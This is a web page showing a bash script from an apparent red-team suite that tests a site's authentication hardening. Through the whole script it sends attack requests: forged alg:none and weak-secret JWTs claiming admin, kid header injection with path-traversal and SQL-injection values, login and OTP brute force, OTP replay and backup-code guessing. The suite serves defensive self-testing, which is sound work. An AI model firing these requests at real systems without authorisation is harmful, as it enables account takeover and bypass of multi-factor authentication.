AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 19_auth_hardening.sh

19_auth_hardening.sh 169 lines
1 #!/bin/bash
2 # Authentication & Identity Hardening
3 # Tests JWT abuse, session entropy, cookie security flags, credential hygiene
4 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
5 source "$SCRIPT_DIR/../config.sh"
6 OUT="$OUT/auth_hardening"
7 mkdir -p "$OUT"
8
9 echo '=== AUTHENTICATION & IDENTITY HARDENING ===' | tee "$OUT/summary.txt"
10
11 url_encode() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; }
12 BROWSER="$BROWSER_UA"
13
14 # โ”€โ”€ 1. Session Cookie Security Flags โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
15 echo '' | tee -a "$OUT/summary.txt"
16 echo '--- Session Cookie Security Flags ---' | tee -a "$OUT/summary.txt"
17 cookie_hdr=$(curl -sk -I --max-time 10 -A "$BROWSER" "$TARGET/" | grep -i 'set-cookie')
18 if [ -n "$cookie_hdr" ]; then
19 echo "$cookie_hdr" | tee -a "$OUT/summary.txt"
20 echo "$cookie_hdr" | grep -qi 'httponly' && echo " [PASS] HttpOnly present" || echo " [WARN] HttpOnly MISSING" | tee -a "$OUT/summary.txt"
21 echo "$cookie_hdr" | grep -qi 'secure' && echo " [PASS] Secure present" || echo " [WARN] Secure MISSING" | tee -a "$OUT/summary.txt"
22 echo "$cookie_hdr" | grep -qi 'samesite' && echo " [PASS] SameSite present" || echo " [WARN] SameSite MISSING" | tee -a "$OUT/summary.txt"
23 echo "$cookie_hdr" | grep -qi '__Secure-\|__Host-' && echo " [PASS] Cookie prefix hardened" || echo " [INFO] No __Secure-/__Host- prefix" | tee -a "$OUT/summary.txt"
24 else
25 echo " [INFO] No Set-Cookie header on homepage" | tee -a "$OUT/summary.txt"
26 fi
27
28 # โ”€โ”€ 2. JWT Algorithm Confusion (alg:none) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
29 echo '' | tee -a "$OUT/summary.txt"
30 echo '--- JWT Algorithm Confusion ---' | tee -a "$OUT/summary.txt"
31 # Craft a token with alg:none and arbitrary claims
32 NONE_HDR=$(printf '{"alg":"none","typ":"JWT"}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
33 CLAIMS=$(printf '{"sub":"admin","role":"admin","iat":1700000000,"exp":9999999999}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
34 NONE_TOKEN="${NONE_HDR}.${CLAIMS}."
35 for ep in "/encrypt" "/decrypt" "/keys/generate" "/admin" "/users" "/config"; do
36 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
37 -H "Authorization: Bearer $NONE_TOKEN" "$API_TARGET$ep")
38 [ "$resp" = "200" ] && echo " [!!!] JWT alg:none ACCEPTED on $ep" || echo " [PASS] $ep โ†’ $resp (rejected)" | tee -a "$OUT/summary.txt"
39 done
40
41 # โ”€โ”€ 3. JWT kid Header Injection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
42 echo '' | tee -a "$OUT/summary.txt"
43 echo '--- JWT kid Header Injection ---' | tee -a "$OUT/summary.txt"
44 for kid_val in "../../etc/passwd" "' OR 1=1--" "/dev/null" "../../../../dev/null"; do
45 KID_HDR=$(printf "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$kid_val\"}" | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
46 KID_TOKEN="${KID_HDR}.${CLAIMS}.fakesig"
47 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
48 -H "Authorization: Bearer $KID_TOKEN" "$API_TARGET/encrypt")
49 [ "$resp" = "200" ] && echo " [!!!] kid injection ACCEPTED: $kid_val" || echo " [PASS] kid='$kid_val' โ†’ $resp" | tee -a "$OUT/summary.txt"
50 done
51
52 # โ”€โ”€ 4. Weak JWT Secret Brute Force (common secrets) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
53 echo '' | tee -a "$OUT/summary.txt"
54 echo '--- JWT Weak Secret Check ---' | tee -a "$OUT/summary.txt"
55 WEAK_SECRETS=("secret" "password" "123456" "jwt_secret" "changeme" "supersecret" "qwerty")
56 WEAK_CLAIMS=$(printf '{"sub":"1","role":"user","exp":9999999999}')
57 for secret in "${WEAK_SECRETS[@]}"; do
58 token=$(python3 -c "
59 import hmac, hashlib, base64, json
60 h = base64.urlsafe_b64encode(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}').rstrip(b'=').decode()
61 p = base64.urlsafe_b64encode(b'{\"sub\":\"1\",\"role\":\"user\",\"exp\":9999999999}').rstrip(b'=').decode()
62 sig = hmac.new('$secret'.encode(), f'{h}.{p}'.encode(), hashlib.sha256).digest()
63 s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
64 print(f'{h}.{p}.{s}')
65 " 2>/dev/null)
66 [ -n "$token" ] && {
67 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
68 -H "Authorization: Bearer $token" "$API_TARGET/encrypt")
69 [ "$resp" = "200" ] && echo " [!!!] WEAK SECRET '$secret' ACCEPTED" || echo " [PASS] secret='$secret' โ†’ $resp" | tee -a "$OUT/summary.txt"
70 }
71 done
72
73 # โ”€โ”€ 5. Credential in URL / Referer Leakage โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
74 echo '' | tee -a "$OUT/summary.txt"
75 echo '--- Credential in URL ---' | tee -a "$OUT/summary.txt"
76 resp=$(curl -sk -o "$OUT/cred_url.txt" -w '%{http_code}' --max-time 8 -A "$BROWSER" \
77 "$API_TARGET/encrypt?api_key=test_key_12345&password=supersecret")
78 grep -qi 'api_key\|password\|token\|secret' "$OUT/cred_url.txt" && \
79 echo " [WARN] Credentials in URL reflected in response" || echo " [PASS] Credentials in URL not reflected ($resp)" | tee -a "$OUT/summary.txt"
80
81 # โ”€โ”€ 6. Password Policy โ€” Login Brute Force Without Lockout โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
82 echo '' | tee -a "$OUT/summary.txt"
83 echo '--- Login Brute Force (10 attempts, expect lockout or 401) ---' | tee -a "$OUT/summary.txt"
84 lock=0
85 for i in $(seq 1 10); do
86 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER" \
87 -X POST -H 'Content-Type: application/json' \
88 -d "{\"username\":\"admin\",\"password\":\"wrong$i\"}" \
89 "$API_TARGET/auth/login" 2>/dev/null)
90 [ "$resp" = "429" ] || [ "$resp" = "423" ] || [ "$resp" = "403" ] && { lock=1; echo " [PASS] Lockout triggered at attempt $i ($resp)"; break; }
91 done
92 [ "$lock" -eq 0 ] && echo " [WARN] No lockout after 10 failed attempts (last: $resp)" | tee -a "$OUT/summary.txt"
93
94 # โ”€โ”€ 7. Refresh Token Replay โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
95 echo '' | tee -a "$OUT/summary.txt"
96 echo '--- Refresh Token Replay ---' | tee -a "$OUT/summary.txt"
97 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
98 -X POST -H 'Content-Type: application/json' \
99 -d '{"refresh_token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.fakesig"}' \
100 "$API_TARGET/auth/refresh")
101 [ "$resp" = "200" ] && echo " [!!!] Fake refresh token ACCEPTED" || echo " [PASS] Fake refresh token rejected ($resp)" | tee -a "$OUT/summary.txt"
102
103 # โ”€โ”€ 8. HTTP Auth Header Enumeration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
104 echo '' | tee -a "$OUT/summary.txt"
105 echo '--- Auth Scheme Enumeration ---' | tee -a "$OUT/summary.txt"
106 for scheme in "Basic YWRtaW46YWRtaW4=" "Bearer null" "Bearer undefined" "Bearer 0" "Token admin"; do
107 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
108 -H "Authorization: $scheme" "$API_TARGET/encrypt")
109 echo " [$resp] Authorization: $scheme" | tee -a "$OUT/summary.txt"
110 done
111
112 cat "$OUT/summary.txt"
113
114 # โ”€โ”€ 2FA / MFA Bypass โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
115 OUT_FILE="$OUT/19_auth_hardening.txt"
116 echo "" | tee -a "$OUT_FILE"
117 echo "--- 2FA / MFA Bypass ---" | tee -a "$OUT_FILE"
118
119 # OTP brute force โ€” try common 6-digit codes (000000, 123456, 000001)
120 echo " OTP brute force (sample codes):" | tee -a "$OUT_FILE"
121 for OTP in 000000 123456 000001 111111 999999 123123 654321; do
122 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
123 -A "$BROWSER_UA" -X POST \
124 -H 'Content-Type: application/x-www-form-urlencoded' \
125 -d "otp=$OTP&username=admin" \
126 "$TARGET/admin/2fa" 2>/dev/null || \
127 curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
128 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
129 -d "{\"otp\":\"$OTP\",\"username\":\"admin\"}" \
130 "$API_TARGET/auth/verify-otp" 2>/dev/null)
131 printf ' [%s] OTP brute force: %s\n' "$CODE" "$OTP" | tee -a "$OUT_FILE"
132 done
133
134 # OTP replay โ€” submit same code twice
135 OTP_REPLAY="123456"
136 CODE1=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
137 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
138 -d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp")
139 CODE2=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
140 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
141 -d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp")
142 printf ' [%sโ†’%s] OTP replay (same code submitted twice โ€” both should fail)\n' "$CODE1" "$CODE2" | tee -a "$OUT_FILE"
143
144 # Backup code enumeration
145 echo " Backup code enumeration:" | tee -a "$OUT_FILE"
146 for BACKUP in "00000000" "12345678" "AAAAAAAA" "backup1" "recovery1"; do
147 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
148 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
149 -d "{\"backup_code\":\"$BACKUP\",\"username\":\"admin\"}" \
150 "$API_TARGET/auth/backup-code" 2>/dev/null || echo "404")
151 printf ' [%s] Backup code: %s\n' "$CODE" "$BACKUP" | tee -a "$OUT_FILE"
152 done
153
154 # MFA skip โ€” try to access protected resource with only step-1 auth token
155 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
156 -A "$BROWSER_UA" \
157 -H 'Authorization: Bearer PARTIAL_AUTH_STEP1_TOKEN' \
158 "$API_TARGET/encrypt")
159 printf ' [%s] MFA skip โ€” step-1 token on protected endpoint (should be 401)\n' "$CODE" | tee -a "$OUT_FILE"
160
161 # 2FA endpoint enumeration
162 echo " 2FA endpoint discovery:" | tee -a "$OUT_FILE"
163 for EP in /2fa /mfa /verify /otp /totp /auth/verify /auth/otp /auth/mfa /auth/totp /api/auth/verify; do
164 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$TARGET$EP")
165 [ "$CODE" != "404" ] && [ "$CODE" != "000" ] && \
166 printf ' [%s] %s\n' "$CODE" "$EP" | tee -a "$OUT_FILE"
167 done
168 echo "" | tee -a "$OUT_FILE"
169